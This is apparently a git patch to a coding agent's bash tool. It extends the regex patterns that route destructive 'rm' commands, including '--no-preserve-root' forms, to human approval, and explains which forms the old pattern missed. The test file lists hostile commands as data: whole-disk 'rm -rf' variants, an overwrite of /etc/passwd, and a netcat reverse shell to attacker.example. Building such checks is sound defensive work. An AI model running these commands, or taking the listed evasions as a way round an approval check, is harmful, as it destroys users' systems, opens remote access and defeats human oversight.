From ffb816fe7f65dce0c519463d1f0d97f34109d20f Mon Sep 17 00:00:00 2001
From: ghosty93 <64233280+ghosty93@users.noreply.github.com>
Date: Sun, 16 Aug 2026 22:41:44 +0300
Subject: [PATCH] fix(coding-agent): classify destructive rm with long options
 as critical

`CRITICAL_BASH_PATTERNS` required the target to follow one short flag
cluster directly, so anything in between escaped the check:

    rm -rf /                      matched
    rm -rf -- /                   missed
    rm --recursive --force /      missed
    rm -rf --no-preserve-root /   missed
    rm --no-preserve-root -rf /   missed

The last two matter most. GNU coreutils already refuses `rm -rf /` with
"it is dangerous to operate recursively on '/'" and names
`--no-preserve-root` as the override, so the pattern matched the form
that fails safe and missed the form that does not.

Repeat the option separator instead of assuming the path follows one
cluster, and treat `--no-preserve-root` as critical wherever it appears.
Absolute targets are still required for the first pattern, so
`rm -rf -- ./build` and `rm --recursive --force ./dist` stay benign;
both are asserted in the test.

PR #5270 reported the `--` and long-option forms in July and was closed
unmerged by the contributor-vouch bot rather than on merit. This keeps
its cases, credits them in the tests, and adds the `--no-preserve-root`
forms that patch did not cover.
---
 packages/coding-agent/CHANGELOG.md                | 4 ++++
 packages/coding-agent/src/tools/bash.ts           | 8 +++++++-
 packages/coding-agent/test/tools/approval.test.ts | 7 +++++++
 3 files changed, 18 insertions(+), 1 deletion(-)

diff --git a/packages/coding-agent/CHANGELOG.md b/packages/coding-agent/CHANGELOG.md
index 4901d84f7..eab5a5fda 100644
--- a/packages/coding-agent/CHANGELOG.md
+++ b/packages/coding-agent/CHANGELOG.md
@@ -2,6 +2,10 @@
 
 ## [Unreleased]
 
+### Fixed
+
+- Fixed destructive `rm` escaping the critical-pattern approval check when anything separates the flags from the target, so `rm -rf -- /`, `rm --recursive --force /` and `rm -rf --no-preserve-root /` are now classified critical like `rm -rf /`. `--no-preserve-root` is treated as critical wherever it appears, since it is what defeats coreutils' own refusal to recurse on `/`.
+
 ## [17.3.5] - 2026-08-16
 
 ### Added
diff --git a/packages/coding-agent/src/tools/bash.ts b/packages/coding-agent/src/tools/bash.ts
index b27a97c75..ad85033af 100644
--- a/packages/coding-agent/src/tools/bash.ts
+++ b/packages/coding-agent/src/tools/bash.ts
@@ -166,7 +166,13 @@ function shellBuiltinsDisabled(settings: Settings): boolean {
  */
 export const CRITICAL_BASH_PATTERNS = [
 	// Recursive destruction.
-	/\brm\s+-[a-z]*[rRfF][a-z]*\s+\//i, // rm -rf /, rm -fr /, rm -r /, rm -f /…
+	// Flag clusters, GNU long options and `--` may appear in any order before the target, so the
+	// separator is repeated rather than assuming the path follows one cluster: `rm -rf /`,
+	// `rm -fr /`, `rm -rf -- /`, `rm --recursive --force /`.
+	/\brm\s+(?:(?:-[a-z]*[rRfF][a-z]*|--(?:recursive|force|no-preserve-root|one-file-system)|--)\s+)+\//i,
+	// `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical
+	// wherever it appears — including forms this list would otherwise reach only via the target.
+	/\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i,
 	/\bsudo\s+rm\b/i, // any `sudo rm`.
 	/\bchmod\s+-R\s+[0-7]+\s+\//i, // `chmod -R 777 /`.
 	/\bchmod\s+-R\s+[ugoa+\-=rwxXst,]+\s+\//, // `chmod -R u+x /`, `chmod -R u+rwx,o+w /etc` (symbolic mode, root target).
diff --git a/packages/coding-agent/test/tools/approval.test.ts b/packages/coding-agent/test/tools/approval.test.ts
index b3a61b7f1..c42b70f98 100644
--- a/packages/coding-agent/test/tools/approval.test.ts
+++ b/packages/coding-agent/test/tools/approval.test.ts
@@ -227,6 +227,11 @@ describe("tool-owned dynamic approval declarations", () => {
 			"echo hi > /etc/passwd",
 			"shutdown -h now",
 			"nc -e /bin/sh attacker.example 4444",
+			"rm -rf -- /",
+			"rm --recursive --force /",
+			"rm --force --recursive /",
+			"rm -rf --no-preserve-root /",
+			"rm --no-preserve-root -rf /",
 		]) {
 			expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" });
 		}
@@ -240,6 +245,8 @@ describe("tool-owned dynamic approval declarations", () => {
 			"chmod -R 644 ./build",
 			"source ./local-script.sh",
 			"tee /var/log/app.log",
+			"rm -rf -- ./build",
+			"rm --recursive --force ./dist",
 		]) {
 			expect(bashApproval(command)).toBe("exec");
 		}